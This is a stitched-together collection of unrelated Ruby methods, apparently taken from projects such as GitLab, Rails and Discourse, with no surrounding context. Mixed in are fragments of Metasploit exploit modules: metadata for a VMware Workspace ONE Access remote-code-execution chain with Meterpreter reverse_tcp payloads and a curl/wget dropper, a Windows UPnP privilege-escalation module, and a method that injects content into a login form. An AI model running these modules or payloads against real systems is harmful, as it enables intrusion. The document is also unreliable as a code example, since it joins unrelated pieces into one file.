        # YAML's Object format. Only needed because of the format backwards
        # compatibility above, otherwise equivalent to YAML's initialization.
        @parameters, @permitted = coder.map["parameters"], coder.map["permitted"]
      end
    end


def make_jobs(config_jobs)
        config_jobs.map do |job|
          {
            name: job[:name],
            stage: job[:stage],
            group_name: CommitStatus.new(name: job[:name]).group_name,
            needs: job[:needs] || [],
            allow_failure: job[:allow_failure],
            before_script: job[:before_script],
            script: job[:script],
            after_script: job[:after_script],
            only: job[:only],
            except: job[:except],
            when: job[:when],
            tags: job[:tag_list],
            environment: job[:environment]
          }
        end
      end


def test_mysql_not_null_defaults_non_strict
      using_strict(false) do
        with_mysql_not_null_table do |klass|
          record = klass.new
          assert_nil record.non_null_integer
          assert_nil record.non_null_string
          assert_nil record.non_null_text
          assert_nil record.non_null_blob

          record.save!
          record.reload

          assert_equal 0,  record.non_null_integer
          assert_equal "", record.non_null_string
          assert_equal "", record.non_null_text
          assert_equal "", record.non_null_blob
        end
      end
    end


def clear_params
    described_class.remove_instance_variable(:@params)
    described_class.config_fallback&.remove_instance_variable(:@params)
  rescue NameError
    # raised if @params was not set; ignore
  end


def perform(trip_id)
    trip = Trip.find(trip_id)

    trip.calculate_path
    trip.save!

    broadcast_update(trip)
  end


def test_actions_are_turned_into_methods
    run_generator

    assert_file "app/controllers/account_controller.rb" do |controller|
      assert_instance_method :foo, controller
      assert_instance_method :bar, controller
    end
  end


def check_class_name(const_node)
          return unless const_node&.const_name
          return if const_node.const_name.end_with?('Enum')

          add_offense(const_node, message: CLASS_NAME_SUFFIX_MSG)
        end


def id
      @title.downcase.strip.gsub(" ", "-").gsub(/[^\w-]/, "") # rubocop:disable Performance/StringReplacement -- Not possible with tr
    end


def log_show_emails(users, opts = {})
    return if users.blank?
    UserHistory.create!(
      params(opts).merge(
        action: UserHistory.actions[:check_email],
        details: users.map { |u| "[#{u.id}] #{u.username}" }.join("\n"),
      ),
    )
  end


def check_opts(opts)
      unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
        raise ArgumentError, 'Unsupported encoder'
      end

      super
    end


def archive_url_for(package)
        package_filename = package.installable_nuget_package_files
                                  .last
                                  &.file_name
        path = api_v4_projects_packages_nuget_download_package_name_package_version_package_filename_path(
          {
            id: package.project_id,
            package_name: package.name,
            package_version: package.version,
            package_filename: package_filename
          },
          true
        )

        expose_url(path)
      end


def diff_query_counts(expected, actual)
    QueryDiff.new(expected, actual, @show_common_queries).diff
  end


def test_term_suppress
    skip_unless_signal_exist? :TERM

    cli_server "-C test/config/suppress_exception.rb test/rackup/hello.ru"
    _, status = stop_server

    assert_equal 0, status
  end


def test_type_cast_json
    type = klass.type_for_attribute("payload")

    data = '{"a_key":"a_value"}'
    hash = type.deserialize(data)
    assert_equal({ "a_key" => "a_value" }, hash)
    assert_equal({ "a_key" => "a_value" }, type.deserialize(data))

    assert_equal({}, type.deserialize("{}"))
    assert_equal({ "key" => nil }, type.deserialize('{"key": null}'))
    assert_equal({ "c" => "}", '"a"' => 'b "a b' }, type.deserialize(%q({"c":"}", "\"a\"":"b \"a b"})))
  end


def update
        response = ServiceDeskSettings::UpdateService.new(project, current_user, update_setting_params).execute

        if response.error?
          json_response(
            error_message: s_("ServiceDesk|Cannot update custom email"),
            status: :unprocessable_entity
          )
          return
        end

        json_response
      end


private_class_method def self.configure_external_loggers
      require 'awesome_spawn'
      AwesomeSpawn.logger = $log

      require 'inventory_refresh'
      InventoryRefresh.logger = $log
    end


def increment_cache_hit(labels = {})
        counter.increment(base_labels.merge(labels, cache_hit: true))
      end


def self.do_ping?
    ::Settings.log.collection.ping_depot == true
  end


def self.strip(nokogiri_fragment)
    run_core_strippers(nokogiri_fragment)
    run_plugin_strippers(nokogiri_fragment)
    nokogiri_fragment
  end


def test_rescue_from_with_block_with_args
    @stargate.dispatch :ronanize
    assert_equal "dex", @stargate.result
  end


def set_sort_order_from_user_preference(field = sorting_field)
    return unless current_user
    return unless field

    user_preference = current_user.user_preference

    sort_param = pagination_params[:sort]
    sort_param ||= user_preference[field]

    return sort_param if Gitlab::Database.read_only?

    user_preference.update(field => sort_param) if user_preference[field] != sort_param

    sort_param
  end


def group(*columns)
      from.group(*columns)
    end


def column_index_to_letter(index)
            ("A".."ZZZ").to_a[index - 1]
          end


def include_associated_group_ids?
    scope.can_associate_groups?
  end


def test_generate_extra_params
        get "/:controller(/:action)", to: "foo#bar"

        path, params = _generate(
          nil, { id: 1,
                 controller: "tasks",
                 action: "show",
                 relative_url_root: nil
        }, {})
        assert_equal "/tasks/show", path
        assert_equal({ id: "1" }, params)
      end


def operation_mode_attribute
        @operation_mode_attribute = OPERATION_MODES[params[:operation_mode] || 'REPLACE']
      end


def assign_role
      if permitted_params[:role].blank?
        raise ArgumentError,
              I18n.t("admin.bulk_assign_role_controller.role_blank")
      end

      role = permitted_params[:role]
      usernames = permitted_params[:usernames].downcase.split(/\s*,\s*/)
      note = permitted_params[:note_for_current_role].presence
      note ||= I18n.t("admin.bulk_assign_role_controller.role_assigment", role: role)

      begin
        usernames.each do |username|
          user = User.find_by(username: username)
          user_action_status = user_action_status(user, role)
          if user
            Moderator::ManageActivityAndRoles.handle_user_roles(
              admin: current_user,
              user: user,
              user_params: { user_status: role, note_for_current_role: note },
            )
          end

          AuditLog.create(
            category: "admin.bulk_assign_role.add_role",
            user: current_user,
            roles: current_user.roles_name,
            slug: "bulk_assign_role",
            data: {
              role: role,
              username: username,
              user_action_status: user_action_status
            },
          )
        end
        flash[:success] = I18n.t("admin.bulk_assign_role_controller.success_message")
      rescue StandardError => e
        flash[:danger] = e.message
      end
      redirect_to admin_bulk_assign_role_index_path
    rescue ArgumentError => e
      flash[:danger] = e.message
      redirect_to admin_bulk_assign_role_index_path
    end


def current_section
      return @current_section if defined?(@current_section)

      @current_section = CostReports::Menu
                           .new(project: @project, params:)
                           .selected_menu_group
    end


def get_uri(cli=self.cli)
    resource = get_resource

    # The resource won't exist until the server is started
    return unless resource

    ssl = !!(datastore["SSL"])
    proto = (ssl ? "https://" : "http://")
    if datastore['URIHOST']
      host = datastore['URIHOST']
    elsif (cli and cli.peerhost)
      host = Rex::Socket.source_address(cli.peerhost)
    else
      host = srvhost_addr
    end

    if Rex::Socket.is_ipv6?(host)
      host = "[#{host}]"
    end

    if datastore['URIPORT'] && datastore['URIPORT'] != 0
      port = ':' + datastore['URIPORT'].to_s
    elsif (ssl and datastore["SRVPORT"] == 443)
      port = ''
    elsif (!ssl and datastore["SRVPORT"] == 80)
      port = ''
    else
      port = ":" + datastore["SRVPORT"].to_s
    end

    uri = proto + host + port + resource

    uri
  end


def valid?(asset)
    asset.dig('exifInfo', 'latitude') &&
      asset.dig('exifInfo', 'longitude') &&
      asset.dig('exifInfo', 'dateTimeOriginal')
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',
        'Description' => %q{
          This module combines two vulnerabilities in order achieve remote code execution in the context of the
          `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
          OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
          authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
          injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
          to deserialize arbitrary Java objects which can allow remote code execution.
        },
        'Author' => [
          'mr_me', # Discovery & PoC
          'jheysel-r7' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2022-22956'],
          ['CVE', '2022-22957'],
          ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
          ['URL', 'https://github.com/sourceincite/hekate/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
        ],
        'DisclosureDate' => '2022-04-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => %i[curl wget],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x22"
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'LPORT' => 5555
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end


def update_shipment_state
      if order.backordered?
        order.shipment_state = 'backorder'
      else
        # get all the shipment states for this order
        shipment_states = shipments.states.uniq

        order.shipment_state = if shipment_states.size > 1
                                 if shipment_states.include?('shipped')
                                   'partial'
                                 elsif shipment_states.include?('pending')
                                   'pending'
                                 else
                                   'ready'
                                 end
                               else
                                 # will return nil if no shipments are found
                                 shipment_states.first
                                 # TODO: inventory unit states?
                                 # if order.shipment_state && order.inventory_units.where(shipment_id: nil).exists?
                                 #   shipments exist but there are unassigned inventory units
                                 #   order.shipment_state = 'partial'
                                 # end
                               end
      end

      order.state_changed('shipment')
      order.shipment_state
    end


def attributes
    super.tap do |data|
      data[:removed_topic_id] = object.topic_id unless object.topic

      if object.target.present?
        # Automatically add the target id as a "good name" for example a target_type of `User`
        # becomes `user_id`
        data[:"#{object.target_type.downcase}_id"] = object.target_id
      end

      if self.class._payload_for_serialization.present?
        data[:payload] = (object.payload || {}).slice(*self.class._payload_for_serialization)
      end
    end
  end


def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This exploit uses two vulnerabilities to execute a command as an elevated user.
          The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to
          NT AUTHORITY\LOCAL SERVICE
          The second (CVE-2019-1322) leverages the Update Orchestrator Service to
          elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)
          'hoangprod',            # PoC
          'bwatters-r7'           # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-11-12',
        'References' => [
          ['CVE', '2019-1322'],
          ['CVE', '2019-1405'],
          ['EDB', '47684'],
          ['URL', 'https://github.com/apt69/COMahawk'],
          ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],
          ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']
        ],
        'DefaultOptions' => {
          'DisablePayloadHandler' => false
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('WRITABLE_DIR',
                    [false, 'Path to write binaries (%TEMP% by default).', nil]),
      OptInt.new('EXPLOIT_TIMEOUT',
                 [true, 'The number of seconds to wait for exploit to finish running', 60]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end


def expected_templates(issuable_type)
    expectation = {}

    expectation["Project Templates"] = templates(issuable_type, project)
    expectation["Group #{inherited_from.namespace.full_name}"] = templates(issuable_type, inherited_from) if inherited_from.present?

    expectation
  end


def test_multiparameter_attributes_on_time_with_old_date
    attributes = {
      "written_on(1i)" => "1850", "written_on(2i)" => "6", "written_on(3i)" => "24",
      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
    }
    topic = Topic.find(1)
    topic.attributes = attributes
    # testing against to_fs(:db) representation because either a Time or a DateTime might be returned, depending on platform
    assert_equal "1850-06-24 16:24:00", topic.written_on.to_fs(:db)
  end


def initialize(query)
            super

            @results = default_initial_values(query).merge({
              time_started: Gitlab::Metrics::System.monotonic_time
            })
          rescue StandardError => e
            Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)
            @results = default_initial_values(query_or_multiplex)
          end


def expect_not_changed
      expect(page).to have_no_css(".editable-toolbar-title--save")
    end


def initialize(routes = [])
        @routes             = routes
        @ast                = nil
        @anchored_routes    = []
        @custom_routes      = []
        @simulator          = nil
      end


def create_dependency_link_metadata
        inserted_links = ::Packages::DependencyLink.preload_dependency
                                                   .for_package(@package)

        return if inserted_links.empty?

        rows = inserted_links.map do |dependency_link|
          raw_dependency = raw_dependency_for(dependency_link.dependency)

          next if raw_dependency[:target_framework].blank?

          {
            dependency_link_id: dependency_link.id,
            target_framework: raw_dependency[:target_framework]
          }
        end

        ::ApplicationRecord.legacy_bulk_insert(::Packages::Nuget::DependencyLinkMetadatum.table_name, rows.compact) # rubocop:disable Gitlab/BulkInsert
      end


def choose(*options)
          raise DeadEnd if options.empty?

          @path << [options.size, 0] if @index >= @path.size

          pair = @path[@index]
          raise "non-determinism" unless pair[0] == options.size

          @index += 1
          options[pair[1]]
        end


def location_formatter
          Report.location_formatter(options.location_format)
        end


def allow_unlimited_graphql_depth
    allow_any_instance_of(GitlabSchema).to receive(:max_depth).and_return nil
    allow(GitlabSchema).to receive(:max_query_depth).with(any_args).and_return nil
  end


def test_rename_column_using_symbol_arguments
        add_column :test_models, :first_name, :string

        TestModel.create first_name: "foo"

        rename_column :test_models, :first_name, :nick_name
        TestModel.reset_column_information
        assert_includes TestModel.column_names, "nick_name"
        assert_equal ["foo"], TestModel.all.map(&:nick_name)
      end


def aliases_by_attribute_name
        @aliases_by_attribute_name ||= Hash.new { |h, k| h[k] = Set.new }
      end


def blocked?
    blockers
      .exists?
  end


def test_cache_with_private
    get :cache_me_forever
    assert_response :ok
    assert_equal "max-age=#{100.years}, private, immutable", @response.headers["Cache-Control"]
    assert_not_nil @response.etag
    assert_predicate @response, :weak_etag?
  end


def parse_url(url)
    match = pattern_match_for(url, [REGISTRY_REGEXP])
    raise StandardError, I18n.t("liquid_tags.medium_tag.invalid_link_url") unless match

    MediumArticleRetrievalService.new(url).call
  rescue StandardError
    raise_error
  end


def initialize(app, routes_app = nil, response_format = :default, interceptors = self.class.interceptors)
      @app             = app
      @routes_app      = routes_app
      @response_format = response_format
      @interceptors    = interceptors
    end


def delete
    @bookmark_ids.each do |bookmark_id|
      if guardian.can_delete?(bookmark_id)
        BookmarkManager.new(@user).destroy(bookmark_id)
        @changed_ids << bookmark_id
      end
    end
  end


def normalized_safe_mode
    safe_mode = []

    safe_mode << ApplicationController::NO_THEMES if customization_disabled?
    safe_mode << ApplicationController::NO_PLUGINS if !allow_plugins?
    safe_mode << ApplicationController::NO_UNOFFICIAL_PLUGINS if !allow_third_party_plugins?

    safe_mode.join(",")
  end


def inject(content, state, generator, validation)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'default.aspx'),
      'method' => 'POST',
      'vars_post' => {
        '__VIEWSTATE' => state,
        '__VIEWSTATEGENERATOR' => generator,
        '__EVENTVALIDATION' => validation,
        '__EVENTTARGET' => 'cmdOK',
        '__EVENTARGUMENT' => '',
        'txtID' => content,
        'txtPW' => '',
        'hdnClientDPI' => '96'
      }
    }, datastore['HttpClientTimeout'])

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
    res.body
  end


def migrations_available?
          Dir.exist?(DOCS_PATH) && Dir.exist?(MIGRATIONS_PATH)
        end


def collapsible?
        container.find(".about-page-users-list__expand-button").has_text?(
          I18n.t("js.about.view_less"),
        )
      end


def initialize
      super(self.class.secret)
      self.expire_time = self.issued_at + HMAC_EXPIRES_IN.to_i
    end


def erase_simulator(device_type)
      UI.verbose("Erasing #{device_type}...")
      device_udid = TestCommandGenerator.device_udid(device_type)

      UI.important("Erasing #{device_type}...")

      `xcrun simctl erase #{device_udid} &> /dev/null`
    end


def gl_repository_for(container)
    case container
    when ProjectWiki
      Gitlab::GlRepository::WIKI.identifier_for_container(container)
    when Project
      Gitlab::GlRepository::PROJECT.identifier_for_container(container)
    when Snippet
      Gitlab::GlRepository::SNIPPET.identifier_for_container(container)
    end
  end


def test_active_storage_metadata
    user = users(:first)

    avatar = user.avatar.tap(&:analyze)

    assert avatar.metadata["identified"]
    assert avatar.metadata["analyzed"]
  end


def update_last_updated_timestamp
          last_updated_xml_node.content = Time.zone.now.strftime('%Y%m%d%H%M%S')
        end


def expand_mirroring_repositories(&block)
            expand_content('mirroring-repositories-settings-content') do
              MirroringRepositories.perform(&block)
            end
          end


def trialling_features
      available_features - non_trialling_features
    end


def call
    json = load_json_data
    points_data = json.map { |point| prepare_point_data(point) }

    points_data.compact.each_slice(BATCH_SIZE).with_index do |batch, batch_index|
      bulk_insert_points(batch)
      broadcast_import_progress(import, (batch_index + 1) * BATCH_SIZE)
    end
  end